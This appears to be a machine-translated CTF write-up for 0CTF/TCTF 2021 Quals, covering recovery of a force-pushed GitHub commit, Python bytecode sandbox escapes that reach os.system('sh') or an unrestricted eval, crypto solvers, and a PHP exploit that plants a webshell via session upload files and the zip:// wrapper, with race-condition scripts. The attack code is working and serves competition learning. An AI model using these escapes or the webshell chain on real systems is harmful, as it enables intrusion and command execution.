0CTF 2021 Quals WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time I challenged the 0CTF/TCTF 2021 Quals alone, and my impression is that the problems were really difficult... I only solved 5 problems in total (including Welcome & Survey), ranking 63rd, but I learned a lot of new things, so I wrote them down for record.
Problems marked with *
in the title are those I attempted but didn't solve successfully during the competition and solved only after it ended.
Misc
GutHib
This problem provided a GitHub repo: awesome-ctf/TCTF2021-Guthib, where you can see that it has a flag but it has been cleaned using BFG and force pushed.
If you have experience with doing the same thing as in the repo, you should know that even after cleaning and force pushing, you can still see the data by directly looking at the commit on GitHub. This is because GitHub's repo still has a cache, and to clear it, you need to contact customer support to help you do a garbage collection.
For more details, refer to this answer
So we know that the commit with the flag is still on GitHub, and as long as we know the commit hash, we can see the flag. There are two ways to do this.
Using the API's events
GitHub has an API that allows you to see the repo's events, for example:
https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/events?page=6
Among them, PushEvent
allows you to see all the commit records, from which you can find the target commit hash. So the final target is da883505ed6754f328296cac1ddb203593473967.
Brute force
This is the method I used because I didn't know about the events API, so I did it this way, which is (somewhat) an unintended solution.
You can notice that GitHub's commit hash can be accessed with as few as 4 characters:
- https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da88 can be accessed
- https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da8 cannot be accessed
So the method is very simple, brute force all 4-character hexdigits possibilities, a total of possibilities.
I first used this script to generate a wordlist:
from random import shuffle
from itertools import product
l = list(product("0123456789abcdef", repeat=4))
shuffle(l)
for a, b, c, d in l:
print(a + b + c + d)
# python gen.py > urllist.txt
# feroxbuster -u https://github.com/awesome-ctf/TCTF2021-Guthib/commit/ -w urllist.txt --rate-limit 16
# https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da88
Then used feroxbuster to brute force scan and found it.
Remember to set the rate limit, otherwise, you will quickly get HTTP 429
*pypypypy
This problem is a very special pyjail problem where the user provides bytecode (codestring
) and two additional inputs gift1
and gift2
. The requirements are len(codestring) <= 2000
and len(gift1) <= 10
len(gift2) <= 10
.
Version: Python 3.8.11
Some reference materials about bytecode:
The core part of the problem is:
code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
result = eval(code, {'__builtins__': None}, {})
First, because co_consts
is empty, all kinds of constants can only be generated from scratch. And co_names
gives you two opportunities to use __xx__
format.
First is how to generate numbers. My method is to use BUILD_TUPLE 0
and UNARY_NOT
to get True
, and then use some addition to get the desired number. For example, the result of the following is the number 2
:
BUILD_TUPLE 0
UNARY_NOT
DUP_TOP
BINARY_ADD
Using this method, you can recursively write a function to generate the required bytecode:
def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret
The next goal is to generate strings. Here, I used FORMAT_VALUE 4
, which is equivalent to format(TOS, TOS1)
. If TOS1 = 'c'
and TOP
is a number, you can use the ASCII code to generate a string. So now the problem is how to generate the string 'c'
.
Here, I first used BUILD_SLICE
to generate slice(x, y, z)
, and then used FORMAT_VALUE 0
to turn it into a string, and then used BINARY_SUBSCR
to get the third character 'c'
.
def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)
Once you have 'c'
, generating any character is very simple, and generating any string can be written recursively in the same way.
def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)
def gen_str_wrap(s):
return gen_c() + gen_str(s)
At this point, you can easily generate strings. The next step is how to bypass __builtins__ = None
. The traditional way to bypass this is to use ().__class__.__base__
to get object
, and then use object.__subclasses__()[n]...
to get what you need. The difficulty is that co_names
only has two, so you can't use it directly.
Before the competition ended, I managed to create a payload with codestring
and gift1
both exceeding the length limit, which could execute sh
. It used __getattribute__
and __base__
, and after a long series of operations, it could get the result. You can see the details yourself, the comments inside mark the stack status.
import sys
from pathlib import Path
from types import CodeType
import dis
from opcode import opmap
def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)
def gen_num_op(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret
def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return bytes(
[
*gen_num_op(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num_op(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)
code = bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
*gen_str("__class__"),
# [..., 'c', '__class__']
opmap["BUILD_TUPLE"],
0,
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
# [..., 'c', tuple.__getattribute__, '__class__']
opmap["CALL_FUNCTION"],
1,
# [..., 'c', tuple]
opmap["LOAD_ATTR"],
1,
opmap["DUP_TOP"],
1,
# [..., 'c', object, object]
opmap["LOAD_ATTR"],
0,
# [..., 'c', object, object.__getattribute__]
opmap["ROT_THREE"],
0,
# [..., object.__getattribute__, 'c', object]
opmap["ROT_TWO"],
0,
# [..., object.__getattribute__, object, 'c']
*gen_str("__subclasses__"),
# [..., object.__getattribute__, object, '__subclasses__']
opmap["CALL_FUNCTION"],
2,
# [..., object.__subclasses__]
opmap["CALL_FUNCTION"],
0,
# [..., object.__subclasses__()]
*gen_num_op(189),
opmap["BINARY_SUBSCR"],
0,
# [..., _Flavour]
opmap["DUP_TOP"],
1,
opmap["LOAD_ATTR"],
0,
# [..., 'c', _Flavour, _Flavour.__getattribute__]
opmap["ROT_THREE"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__init__"),
opmap["CALL_FUNCTION"],
2,
# # [..., _Flavour.__init__]
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__globals__"),
opmap["CALL_FUNCTION"],
1,
# [..., _ModuleLock.__init__.__globals__]
opmap["ROT_TWO"],
0,
*gen_str("os"),
opmap["BINARY_SUBSCR"],
0,
# # [..., os]
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__dict__"),
opmap["CALL_FUNCTION"],
1,
# [..., os.__dict__]
opmap["ROT_TWO"],
0,
*gen_str("system"),
opmap["BINARY_SUBSCR"],
0,
# [..., os.system]
opmap["ROT_TWO"],
0,
*gen_str("sh"),
opmap["CALL_FUNCTION"],
1,
opmap["RETURN_VALUE"],
0,
]
)
gift1 = "getattribute"
gift2 = "base"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
# dump_code(code)
# dis.dis(code)
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
# print(type(ret))
print(ret)
print("ok")
The string generation method here is slightly different because this was written earlier
After the competition, the problem author summarized the types of solutions, and there were 5 in total:
- The most commonly used method: combining
__class__
and__dict__
to gettype
, and then usingmro
(or similar) combined with__getattribute__
to getobject
, so you can haveobject.__dict__['__getattribute__']
, which allows you to do everything. (Usage is similar togetattr
) - Unintended solution 1:
[].__reduce_ex__(3)[0].__globals__
- Unintended solution 2:
co_consts
is an empty tuple, you can useLOAD_CONST
to cause an out-of-bounds access to get the object you want, includingmodule 'posix'
. The offset can be calculated usingid(something) - id(())
, but I couldn't reproduce this payload. - Unintended solution 3: Although
co_names
is not empty, its offset is still fixed, so you can find the appropriate offset to leak things. - Author's solution: Trigger an exception, and then
TOS
will have the exception's class. From its__mro__
, you can getobject
, and then the rest is the same.
There is another solution I saw, where directly using LOAD_CONST 6
(out-of-bounds) at the beginning of the bytecode can directly get object
, and I don't know why...
Using __class__
and __dict__
This part doesn't need to use the string generation functions, so the payload is very short. To be lazy, I also directly used LOAD_CONST 6
to directly get object
. Normally, you need to get __getattribute__
and __base__
from type.__dict__
to get object
.
from types import CodeType
from opcode import opmap
def op(name, arg=0):
return bytes([opmap[name], arg])
def get_type_dict():
return (
op("BUILD_TUPLE", 0)
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 1)
)
def get_nth(n):
return (
op("UNPACK_EX", n)
+ op("BUILD_TUPLE", n - 1)
+ op("POP_TOP")
+ op("ROT_TWO")
+ op("POP_TOP") # pop iterable list
)
code = (
get_type_dict()
+ get_nth(3)
# ['__getattribute__']
+ op("LOAD_CONST", 6)
+ op("LOAD_ATTR", 1)
# ['__getattribute__', object.__dict__]
+ op("ROT_TWO")
+ op("BINARY_SUBSCR")
# [object.__getattribute__]
+ op("STORE_NAME", 0) # __class__ = object.__getattribute__
+ op("LOAD_NAME", 0) # object.__getattribute__
+ op("LOAD_CONST", 6)
+ get_type_dict()
+ get_nth(9)
+ op("CALL_FUNCTION", 2)
+ op("CALL_FUNCTION", 0)
# [object.__subclasses__()]
+ get_nth(133) # remote = 134, local = 133
# [os._wrap_close]
+ op("LOAD_ATTR", 1)
+ op("DUP_TOP")
+ get_nth(2)
+ op("BINARY_SUBSCR")
# [os._wrap_close.__init__]
+ op("LOAD_NAME", 0) # object.__getattribute__
+ op("ROT_TWO")
+ op("DUP_TOP")
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 1)
# [object.__getattribute__, os._wrap_close.__init__, function.__dict__]
+ get_nth(7)
+ op("CALL_FUNCTION", 2)
# [__globals__]
+ op("DUP_TOP")
+ get_nth(8)
+ op("DUP_TOP")
+ op("STORE_NAME", 0) # __class__ = '__builtins__'
+ op("BINARY_SUBSCR")
# [__builtins__]
+ op("DUP_TOP")
+ op("STORE_NAME", 1) # __dict__ = __builtins__
+ op("DUP_TOP")
+ get_nth(20)
+ op("BINARY_SUBSCR")
# [eval]
+ op("LOAD_NAME", 1) # __builtins__
+ op("DUP_TOP")
+ get_nth(29)
+ op("BINARY_SUBSCR")
# [eval, input]
+ op("CALL_FUNCTION", 0)
# [eval, input()]
+ op("LOAD_NAME", 0) # '__builtins__'
+ op("LOAD_NAME", 1) # __builtins__
+ op("BUILD_MAP", 1)
# [eval, input(), {'__builtins__': __builtins__}]
+ op("CALL_FUNCTION", 2)
+ op("RETURN_VALUE")
)
print(len(code))
print(code.hex())
gift1 = "class"
gift2 = "dict"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
ret = eval(code, {"__builtins__": None}, {})
print("type", type(ret))
print("ret", ret)
Using [].__reduce_ex__(3)[0].__globals__
__reduce_ex__
is similar to pickling's __reduce__
, but it supports an additional protocol
parameter as the pickle version number. The first value of the returned tuple is a function, and its __globals__
can directly get eval
, input
, and other things.
import pathlib # No use, but it MUST exist
from types import CodeType
from opcode import opmap
def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)
def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret
def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)
def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)
def gen_str_wrap(s):
return gen_c() + gen_str(s)
# [].__reduce_ex__(3)[0].__globals__
code = bytes(
[
opmap["BUILD_LIST"],
0,
opmap["LOAD_ATTR"],
0,
*gen_num(3),
opmap["CALL_FUNCTION"],
1,
*gen_num(0),
opmap["BINARY_SUBSCR"],
1,
opmap["LOAD_ATTR"],
1,
*gen_str_wrap("__builtins__"),
# Cache __builtins__
opmap["DUP_TOP"],
1,
opmap["STORE_NAME"],
0,
opmap["BINARY_SUBSCR"],
1,
opmap["DUP_TOP"],
1,
opmap["DUP_TOP"],
1,
# [__builtins__, __builtins__, __builtins__]
*gen_str_wrap("input"),
opmap["BINARY_SUBSCR"],
1,
opmap["CALL_FUNCTION"],
0,
# [__builtins__, __builtins__, input()]
opmap["ROT_TWO"],
0,
# [__builtins__, input(), __builtins__]
*gen_str_wrap("eval"),
opmap["BINARY_SUBSCR"],
1,
# [__builtins__, input(), eval]
opmap["ROT_THREE"],
0,
# [eval, __builtins__, input()]
opmap["ROT_TWO"],
0,
# [eval, input(), __builtins__]
# Load cached '__builtins__'
opmap["LOAD_NAME"],
0,
opmap["ROT_TWO"],
0,
opmap["BUILD_MAP"],
1,
# [eval, input(), {'__builtins__': __builtins__}]
opmap["CALL_FUNCTION"],
2,
opmap["RETURN_VALUE"],
0,
]
)
gift1 = "reduce_ex"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")
print(code.co_code.hex())
You can see import pathlib
at the top, but it's not used in the entire script. However, if you remove it, it will strangely fail. I asked around, and others said it's because [].__reduce_ex__
relies on the existence of pickle. If pickle
is not in sys.modules
, it will try to __import__
, but because eval
restricts __builtins__
, it will fail. And pathlib
seems to import pickle
internally, so it can bypass this issue.
Another solution that doesn't work remotely
object.__subclasses__()
contains _sitebuiltins._Helper
, and since _sitebuiltins._Helper() = help
, _sitebuiltins._Helper()()
can have the effect of help()
.
In the help interface, entering any entry, such as str
, will display information, and it will detect if there is a tty. If there is, it will try to call less
or more
as a pager. In less
or more
, you can execute commands using !ls
.
However, the problem with this solution is that it requires a tty. Since this problem is directly connected via nc, it doesn't have a tty, so it won't call less
or more
. But it works locally.
from types import CodeType
from opcode import opmap
def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)
def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret
def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)
def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)
def gen_str_wrap(s):
return gen_c() + gen_str(s)
code = bytes(
[
opmap["LOAD_CONST"],
6,
opmap["LOAD_ATTR"],
0,
opmap["CALL_FUNCTION"],
0,
*gen_num(135), # remote = 136, local = 135
opmap["BINARY_SUBSCR"],
0,
opmap["CALL_FUNCTION"],
0,
opmap["CALL_FUNCTION"],
0,
opmap["RETURN_VALUE"],
0,
]
)
print(code.hex())
gift1 = "subclasses"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")
Crypto
checkin
The problem is very simple, requiring you to calculate a value of within 10 seconds.
The is a very large composite number that cannot be factored, so you can't simplify the exponent to for calculation.
The fastest way is to directly use gmpy2, which is much faster than Python's built-in pow
, and can calculate the result in about 5 seconds.
from pwn import remote
import gmpy2
io = remote("111.186.59.11", 16256)
io.recvline()
s = io.recvlineS()
e = int(s.split("^")[2].split(")")[0])
m = int(s.split(" mod ")[1].split(" = ")[0])
print(s)
print(e)
print(m)
ans = gmpy2.powmod(2, 1 << e, m)
print(ans)
io.sendline(str(ans))
io.interactive()
I actually got the first blood on this problem ==
zerolfsr-
There are three different LFSRs, and you need to select two generators within the time limit to find their initial state to get the flag.
My method for this problem was very simple, just using z3 to solve it. I chose Generators 1 and 3 because 2 looked much more complicated, and z3 couldn't solve it.
from z3 import *
from pwn import remote
import string
from hashlib import sha256
from itertools import product
import signal
from task import Generator1, Generator2, Generator3
io = remote("111.186.59.28", 31337)
def solve_pow():
io.recvuntil(b"sha256(XXXX + ")
suffix = io.recvuntil(b")")[:-1]
io.recvuntil(b" == ")
target = bytes.fromhex(io.recvlineS(b"\n").strip())
S = (string.ascii_letters + string.digits + "!#$%&*-?").encode()
for x in product(S, repeat=4):
xx = bytes(x)
if sha256(xx + suffix).digest() == target:
io.sendlineafter(b"Give me XXXX:", xx)
return
def solve1():
io.recvuntil(b"which one: \n")
io.sendline("1")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator1(keys)
for i in range(128):
s.add(g.clock() == bits[i])
print("Solving generator 1...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))
def solve2():
io.recvuntil(b"which one: \n")
io.sendline("2")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator2(keys)
for i in range(64):
g.clock()
s.add(g.clock() == bits[i])
print("Solving generator 2...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))
def solve3():
io.recvuntil(b"which one: \n")
io.sendline("3")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator3(keys)
for i in range(128):
g.clock()
g.clock()
s.add(g.clock() == bits[i])
print("Solving generator 3...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))
signal.alarm(30)
solve_pow()
signal.alarm(50)
solve1()
# solve2()
solve3()
io.interactive()
The flag content mentioned that the author had tried to prevent it from being solvable by z3, but it seems the prevention measures were not very effective...
Web
*1linephp
The code is just one line:
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
If you are familiar, you will know that this problem pays homage to the One Line PHP Challenge, with the only difference being that the original problem didn't have the .php
suffix. If you are not familiar, you should read its approach first.
The original problem's approach was to leave a file in the sessions folder using PHPSESSID
and PHP_SESSION_UPLOAD_PROGRESS
, and then use php://filter
to perform some decode operations to make the file's prefix become @<?php
, and then get a shell.
For example:
curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=maple' -F 'PHP_SESSION_UPLOAD_PROGRESS=CONTENT' -F 'file=@some_file'
will temporarily write upload_progress_CONTENT|...
data in /tmp/sess_maple
.
However, because PHPSESSID
cannot contain .
, you can't write files like sess_maple.php
.
There are several ways to bypass the suffix, but since this problem is php 7.4.11, truncating with a long path (4096) or null byte (%00) is ineffective.
The remaining methods are phar:///tmp/asd.phar/shell.php
or zip:///tmp/asd.zip#shell.php
, both of which can read the file.
The problem with the former is that when php processes the php://
path, it looks for the suffix to split, for example, in phar:///tmp/asd.phar/shell.php
, /tmp/asd.phar
is the path of the phar file, and shell.php
is the file path inside the phar. The suffix can be .phar
or .png
, etc., and php will accept it, but there must be a suffix, so it can't be used in this problem.
The latter zip://
uses #
to separate, so there is no suffix issue, and as long as you provide a valid zip file, it can be decompressed. However, the problem is that the sess_xxx
file will have the annoying upload_progress_
at the beginning.
My first thought was to use base64 and php://filter
to handle it, but zip://php://filter/...
doesn't work. From the source code, you can see it directly puts the path into libzip's zip_open
function without going through php processing, so php://filter
can't be used.
I got stuck here during the competition because I didn't know how to handle the zip header...
The key to this problem is that zip is a very loose file format, and the file's first bytes don't necessarily have to be PK
, as zip decompression seems to look from the back, as long as the length is correct.
A very simple method is to first create shell.php
with the required code, then compress it into out.zip
, and then replace the first 16 bytes with upload_progress_
, and you will find it can still be decompressed normally.
According to the author's WriteUp, directly deleting 16 bytes is not intended. The correct method is to fix the offset yourself or use
zip -F
to repair it like Perfect Blue:(printf upload_progress_ && cat file.zip) > out.zip; zip -F out.zip --out fixed.zip
So the method is to just put zip_data[16:]
in PHP_SESSION_UPLOAD_PROGRESS
, and for the short file existence time, use a race condition to try.
Finally, visit ?yyyx=zip:///tmp/sess_maple%23shell&cmd=ls
.
import string
import random
import os
import requests
with open("a", "w") as f:
# Write a big file
f.write(
"".join([random.choice(string.ascii_lowercase) for i in range(1024 * 1024)])
)
with open("shell.php", "w") as f:
f.write('@<?php\nsystem($_GET["cmd"]);')
os.system("zip payload.zip shell.php")
with open("payload.zip", "rb") as f:
zip = f.read()
while True:
f = open("a", "rb")
requests.post(
"http://111.186.59.2:50081/",
cookies={"PHPSESSID": "maple"},
data={"PHP_SESSION_UPLOAD_PROGRESS": zip[16:]},
files={"f": f},
)
f.close()
# http://111.186.59.2:50081/?yxxx=zip:///tmp/sess_maple%23shell&cmd=cat%20/dd810fc36330c200a_flag/flag
zip://
is not always available, and you need to install the zip extension separately
A theoretically successful but low-probability different approach
During the competition, I also referred to Return of One line PHP, where session.upload_progress.enabled = Off
, so there were no sess_xxx
files.
The method used there was to put the payload in the uploaded file and then use a php bug to make it segfault, so the uploaded temporary file phpXXXXXX
would remain in the folder.
However, this problem's php version is newer, so you can't use that bug to force the file to remain. Here, I manually controlled the request sending time with a socket, making it slow to finish, so the file would stay longer, increasing the chance of success.
The script to manually control the request time with a socket:
from pwn import remote, context, sleep
import string
import random
from threading import Thread
def randstr(n):
return "".join(random.choice(string.ascii_lowercase) for _ in range(n))
with open("payload.zip", "rb") as f:
zip = f.read()
def zip_data(name):
return (
f"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="file"; filename="{name}"\r
Content-Type: application/octet-stream\r
\r
""".encode()
+ zip
+ b"\r\n"
)
body = (
b"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r
\r
"""
+ zip
+ b"""\r
"""
+ b"".join([zip_data(randstr(10)) for i in range(40)])
+ b"""
--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="b"\r
\r
"""
+ b"a" * 1024
+ b"""\r
--------------------------606f6c40cdbf678a--\r
"""
)
header = f"""POST / HTTP/1.1\r
Host: 111.186.59.2:50082\r
User-Agent: curl/7.71.1\r
Accept: */*\r
Cookie: PHPSESSID=c8763fast\r
Content-Length: {len(body)}\r
Content-Type: multipart/form-data; boundary=------------------------606f6c40cdbf678a\r
\r
"""
print(hex(len(header)))
print(hex(len(body)))
CHKSIZE = 16
chunks = [body[i : i + CHKSIZE] for i in range(0, len(body), CHKSIZE)]
# print([len(x) for x in chunks])
def brute():
context.log_level = "error"
try:
# io = remote("127.0.0.1", 8763)
io = remote("111.186.59.2", 50082)
io.send(header)
for x in chunks[:-4]:
io.send(x)
for x in chunks[-4:]:
sleep(5)
io.send(x)
io.close()
except:
pass
for i in range(100):
Thread(target=brute).start()
The script to brute force search:
const xf = require('xfetch-js')
const { default: PQueue } = require('p-queue')
const CMD = 'ls;cat f*;cat /f*'
function makeid(length) {
var result = ''
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
var charactersLength = characters.length
for (var i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * charactersLength))
}
return result
}
const getRandToken = () => 'php' + makeid(6)
const request = token =>
xf
.get(`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`)
.then(r => r.text())
.then(t => [`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`, t])
.catch(() => false)
const handler = x => {
if (x) {
const [u, t] = x
if (t.includes('flag{')) {
console.log(u, t)
process.exit()
}
if (t.includes('SUCCESS')) {
console.log(u, t)
process.exit()
}
}
}
;(async () => {
let total = 0
const queue = new PQueue({ concurrency: 20 })
function addTask() {
if (total % 100 === 0) {
console.log(total)
}
total += 1
queue.add(() => request(getRandToken()).then(handler).then(addTask))
}
for (let i = 0; i < 20; i++) {
addTask()
}
queue.start()
})()
I ran these two scripts for several hours without success QQ